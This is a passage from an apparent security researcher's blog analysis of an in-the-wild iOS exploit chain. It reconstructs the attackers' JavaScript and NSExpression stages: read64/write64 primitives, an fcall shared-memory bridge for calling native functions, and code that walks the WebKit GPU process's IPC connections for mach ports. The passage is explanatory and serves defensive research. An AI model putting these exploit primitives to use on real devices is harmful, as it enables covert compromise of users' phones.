scripts to run:</span></p><h3 class="YrefKOOkxY-c6" id="h.jrc2eq3979h4"><span class="YrefKOOkxY-c10">JS 2</span></h3> <p class="YrefKOOkxY-c2"><span>JS2 uses the corrupted </span><span class="YrefKOOkxY-c3">addrof_*</span><span> arrays to build a </span><span class="YrefKOOkxY-c3">write64</span><span class="YrefKOOkxY-c5"> primitive then declares the following dictionary:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var all_function = {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> syscall: 0n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_task_self: 1n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> task_get_special_port: 2n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_allocate: 3n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sleep: 4n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_absolute_time: 5n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg: 6n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg2_trap: 7n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg_send: 8n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_msg_receive: 9n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_make_memory_entry: 10n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> mach_port_type: 11n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOMainPort: 12n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOServiceMatching: 13n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOServiceGetMatchingService: 14n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOServiceOpen: 15n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> IOConnectCallMethod: 16n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> open: 17n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sprintf: 18n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> printf: 19n</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">};</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>These match up perfectly with the first 20 symbols which the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> looked up via </span><span class="YrefKOOkxY-c3">dlsym</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>For each of those symbols they define a JS wrapper, like for example this one for </span><span class="YrefKOOkxY-c3">task_get_special_port</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function task_get_special_port(task, which_port, special_port) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return fcall(all_function["task_get_special_port"], task, which_port, special_port)</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They declare two </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span>s, one named </span><span class="YrefKOOkxY-c3">lock</span><span> and one named </span><span class="YrefKOOkxY-c3">func_buffer</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var lock = new Uint8Array(32);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var func_buffer = new BigUint64Array(24);</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They use the </span><span class="YrefKOOkxY-c3">read64</span><span> primitive to store the address of those buffers into two more variables, then set the first byte of the lock buffer to </span><span class="YrefKOOkxY-c3">1</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var lock_addr = read64(addrof(lock).add(16)).noPAC().asDouble();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var func_buffer_addr = read64(addrof(func_buffer).add(16)).noPAC().asDouble();</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">lock[0] = 1;</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They then define the </span><span class="YrefKOOkxY-c3">fcall</span><span class="YrefKOOkxY-c5"> function which the JS wrappers use to call the native symbols:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">function</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">fcall(func_idx,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> x0 = 0x34343434n, x1 = 1n, x2 = 2n, x3 = 3n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> x4 = 4n, x5 = 5n, x6 = 6n, x7 = 7n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> varargs = [0x414141410000n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x515151510000n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x616161610000n,</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> 0x818181810000n])</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">{</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x0 !== "bigint") x0 = BigInt(x0.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x1 !== "bigint") x1 = BigInt(x1.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x2 !== "bigint") x2 = BigInt(x2.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x3 !== "bigint") x3 = BigInt(x3.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x4 !== "bigint") x4 = BigInt(x4.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x5 !== "bigint") x5 = BigInt(x5.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x6 !== "bigint") x6 = BigInt(x6.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (typeof x7 !== "bigint") x7 = BigInt(x7.toString());</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> let sanitised_varargs =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> varargs.map(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> (x => typeof x !== "bigint" ? BigInt(x.toString()) : x));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[0] = func_idx;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[1] = x0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[2] = x1;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[3] = x2;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[4] = x3;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[5] = x4;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[6] = x5;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[7] = x6;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[8] = x7;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> sanitised_varargs.forEach(((x, i) => {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> func_buffer[i + 9] = x</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> lock[0] = 0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> lock[4] = 0;</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> while (lock[4] != 1);</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> return new Int64("0x" + func_buffer[0].toString(16))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">}</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>This coerces each argument to a </span><span class="YrefKOOkxY-c3">BigInt</span><span> then fills the </span><span class="YrefKOOkxY-c3">func_buffer</span><span> first with the index of the function to call then each argument in turn. It clears two bytes in the </span><span class="YrefKOOkxY-c3">lock</span><span> </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span> then waits for one of them to become </span><span class="YrefKOOkxY-c3">1</span><span class="YrefKOOkxY-c5"> before reading the return value, effectively implementing a spinlock.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>JS 2 doesn't call </span><span class="YrefKOOkxY-c3">fcall</span><span> though. We now return back to the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> to analyse what must be the other side of that </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span class="YrefKOOkxY-c5"> "shared memory" function call primitive.</span></p><h3 class="YrefKOOkxY-c6" id="h.46gpycgmddeo"><span class="YrefKOOkxY-c10">In the background</span></h3> <p class="YrefKOOkxY-c2"><span>Once JS 2 has been evaluated the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> again uses the </span><span class="YrefKOOkxY-c3">[JSContext objectForKeyedSubscript:]</span><span> method to read the </span><span class="YrefKOOkxY-c3">lock_addr</span><span> and </span><span class="YrefKOOkxY-c3">func_buffer_addr</span><span class="YrefKOOkxY-c5"> variables.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>It then creates another </span><span class="YrefKOOkxY-c3">NSInvocation</span><span> but this time instead of using the double invocation trick it sets the target of the </span><span class="YrefKOOkxY-c3">NSInvocation</span><span> to an </span><span class="YrefKOOkxY-c3">NSExpression</span><span>; sets the </span><span class="YrefKOOkxY-c3">selector</span><span> to </span><span class="YrefKOOkxY-c3">expressionValueWithObject:</span><span> and the second argument to the context dictionary which contains the variables defined in the </span><span class="YrefKOOkxY-c3">NSExpression</span><span>. They then call </span><span class="YrefKOOkxY-c3">performSelectorInBackground:sel(invoke)</span><span class="YrefKOOkxY-c5">, causing part of the serialized object to be evaluated in a different thread. It's that background code which we'll look at now:</span></p><h3 class="YrefKOOkxY-c6" id="h.97aiah9apgqr"><span class="YrefKOOkxY-c10">Loopy landscapes</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5">s aren't great for building loop primitives. We already saw that the loop to traverse the linked-list of pthreads was just unrolled 100 times. This time around they want to create an infinite loop, which can't just be unrolled! Instead they use the following construct:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl5e89bmNK8v8WM2cl1eMnnyfNhq-TYvPsWCPIjpLsaWckLRv_SC288D5g0_pJCuhfAlkAiiYUdr8xnUgr1StYkDy2UjkDPVhFgsYaNvVI4BawF6aSnNCqNIYHXOKMv98NlyYZ0iXOSnR9MINhZwl34wg7qWJuHoRLPtVh59Ggr6k3ehTsdhyLd81TeFQ/s608/image12.png" style="display: block; padding: 1em 0;text-align: center;"><img alt="Diagram showing a NSNull alloc node with two arguments, both of which point to the same  child node" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhl5e89bmNK8v8WM2cl1eMnnyfNhq-TYvPsWCPIjpLsaWckLRv_SC288D5g0_pJCuhfAlkAiiYUdr8xnUgr1StYkDy2UjkDPVhFgsYaNvVI4BawF6aSnNCqNIYHXOKMv98NlyYZ0iXOSnR9MINhZwl34wg7qWJuHoRLPtVh59Ggr6k3ehTsdhyLd81TeFQ/s608/image12.png" style="max-height: 750px; max-width: 600px;" title="Diagram showing a NSNull alloc node with two arguments, both of which point to the same  child node" /></a></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">They build a tree where each sub-level is evaluated twice by having two arguments which both point to the same expression. Right at the bottom of this tree we find the actual loop body. There are 33 of these doubling-nodes meaning the loop body will be evaluated 2^33 times, effectively a while(1) loop.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Let's look at the body of this loop:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstance</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> setTarget:[v_functions_listener_lock longLongValue] ];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstance</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> setSelector:[@0x43434343 longLongValue] ];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstanceIMP</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> setTarget:v_OSSpinLockLockInvocationInstance ];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_OSSpinLockLockInvocationInstanceIMP invoke];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">v_functions_listener_lock</span><span> is the address of the backing buffer of the </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span> containing the "spinlock" which the JS unlock after writing all the function call parameters into the </span><span class="YrefKOOkxY-c3">func_buffer</span><span> </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span>. This calls </span><span class="YrefKOOkxY-c3">OSSpinLockLock</span><span class="YrefKOOkxY-c5"> to lock that lock.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>The </span><span class="YrefKOOkxY-c3">NSExpression</span><span> reads the function index from the </span><span class="YrefKOOkxY-c3">func_buffer</span><span> </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span> backing buffer then reads 19 argument slots, writing each 64-bit value into the corresponding slot (target, selector, arguments) of an </span><span class="YrefKOOkxY-c3">NSInvocation</span><span>. They then convert the function index into a string and call </span><span class="YrefKOOkxY-c3">valueForKey</span><span> on the context dictionary which stores all the </span><span class="YrefKOOkxY-c3">NSExpression</span><span> variables to find the variable with the provided numeric string name (recall that they defined a variable called '</span><span class="YrefKOOkxY-c3">0</span><span>' storing a PACIZA'ed pointer to "</span><span class="YrefKOOkxY-c3">syscall</span><span class="YrefKOOkxY-c5">".)</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They use the double invocation trick to call the target function then extract the return value from the NSInvocation and write it into the </span><span class="YrefKOOkxY-c3">func_buffer</span><span class="YrefKOOkxY-c5">:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">[v_serializedInvName getReturnValue:[set_msb(v_functions_listener_buffer) longLongValue] ];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Finally, the loop body ends with an arbitrary write to unlock the spinlock, allowing the JS which was spinning to continue and read the function call result from the </span><span class="YrefKOOkxY-c3">ArrayBuffer</span><span class="YrefKOOkxY-c5">.</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>Then back in the main </span><span class="YrefKOOkxY-c3">NSExpression</span><span class="YrefKOOkxY-c5"> thread it evaluates one final piece of JS in the same JSContext:</span></p><h3 class="YrefKOOkxY-c6" id="h.aravay40znc5"><span class="YrefKOOkxY-c10">JS3</span></h3> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c5">Unlike JS1 and 2 and the NSExpression, JS 3 is stripped and partially obfuscated, though with some analysis most of the names can be recovered. For example, the script starts by defining a number of constants - these in fact come from a number of system headers and the values appear in exactly the same order as the system headers:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p><a id="t.7c71818b2495e9fb1df627b11c4b09d054d8086d"></a><a id="t.2"></a><table class="YrefKOOkxY-c25"><tr class="YrefKOOkxY-c19"><td class="YrefKOOkxY-c23" colspan="1" rowspan="1"> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const z = 16;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const u = 17;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const m = 18;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const x = 19;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const f = 20;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const v = 21;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const b = 22;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const p = 24;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const l = 25;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const w = 26;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const y = 0;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const B = 1;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const I = 2;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const F = 3;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const U = 4;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const k = 2147483648;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const C = 1;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const N = 2;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const S = 4;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const T = 0x200000000n;</span></p> <p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p></td><td class="YrefKOOkxY-c24" colspan="1" rowspan="1"> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MOVE_RECEIVE = 16;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MOVE_SEND = 17;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MOVE_SEND_ONCE = 18;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_COPY_SEND = 19;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MAKE_SEND = 20;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_MAKE_SEND_ONCE = 21;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_COPY_RECEIVE = 22;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_DISPOSE_RECEIVE = 24;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_DISPOSE_SEND = 25;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_TYPE_DISPOSE_SEND_ONCE = 26;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_PORT_DESCRIPTOR = 0;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_OOL_DESCRIPTOR = 1;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_OOL_PORTS_DESCRIPTOR = 2;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_OOL_VOLATILE_DESCRIPTOR = 3;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSG_GUARDED_PORT_DESCRIPTOR = 4;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_MSGH_BITS_COMPLEX = 0x80000000;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_SEND_MSG = 1;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_RCV_MSG = 2;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH_RCV_LARGE = 4;</span></p> <p class="YrefKOOkxY-c11"><span class="YrefKOOkxY-c0">const MACH64_SEND_KOBJECT_CALL = 0x200000000n;</span></p> <p class="YrefKOOkxY-c11 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p></td></tr></table> <p class="YrefKOOkxY-c2"><span>The code begins by using a number of symbols passed in from the outer RCE js to find the </span><span class="YrefKOOkxY-c3">HashMap</span><span class="YrefKOOkxY-c5"> storing the mach ports implementing the WebContent to GPU Process IPC:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c3">//WebKit::GPUProcess::GPUProcess</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var WebKit::GPUProcess::GPUProcess =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new Int64("0x0a1a0a1a0a2a0a2a");</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// offset of m_webProcessConnections HashMap in GPUProcess</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var offset_of_m_webProcessConnections =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new Int64("0x0a1a0a1a0a2a0a2b"); // 136</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// offset of IPC::Connection m_connection in GPUConnectionToWebProcess</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var offset_of_m_connection_in_GPUConnectionToWebProcess =</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> new Int64("0x0a1a0a1a0a2a0a2c"); // 48</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// offset of m_sendPort</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var offset_of_m_sendPort_in_IPC_Connection = new Int64("0x0a1a0a1a0a2a0a2d"); // 280 </span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">// find the m_webProcessConnections HashMap:</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var m_webProcessConnections = </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64( WebKit::GPUProcess::GPUProcess.add(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> offset_of_m_webProcessConnections)).noPAC();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span>They iterate through all the entries in that </span><span class="YrefKOOkxY-c3">HashMap</span><span class="YrefKOOkxY-c5"> to collect all the mach ports representing all the GPU Process to WebContent IPC connections:</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c5"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var entries_cnt = read64(m_webProcessConnections.sub(8)).hi().asInt32();</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">var GPU_to_WebProcess_send_ports = [];</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0">for (var he = 0; he < entries_cnt; he++) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var hash_map_key = read64(m_webProcessConnections.add(he * 16));</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (hash_map_key.is0() ||</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> hash_map_key.equals(const_int64_minus_1))</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var GPUConnectionToWebProcess = </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64(m_webProcessConnections.add(he * 16 + 8));</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> if (GPUConnectionToWebProcess.is0()) {</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> continue</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> }</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var m_connection = </span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> read64(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> GPUConnectionToWebProcess.add(</span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> offset_of_m_connection_in_GPUConnectionToWebProcess));</span></p> <p class="YrefKOOkxY-c2 YrefKOOkxY-c4"><span class="YrefKOOkxY-c0"></span></p> <p class="YrefKOOkxY-c2"><span class="YrefKOOkxY-c0"> var m_sendPort =</span></p> <p class="YrefKOOkxY-c2"><span 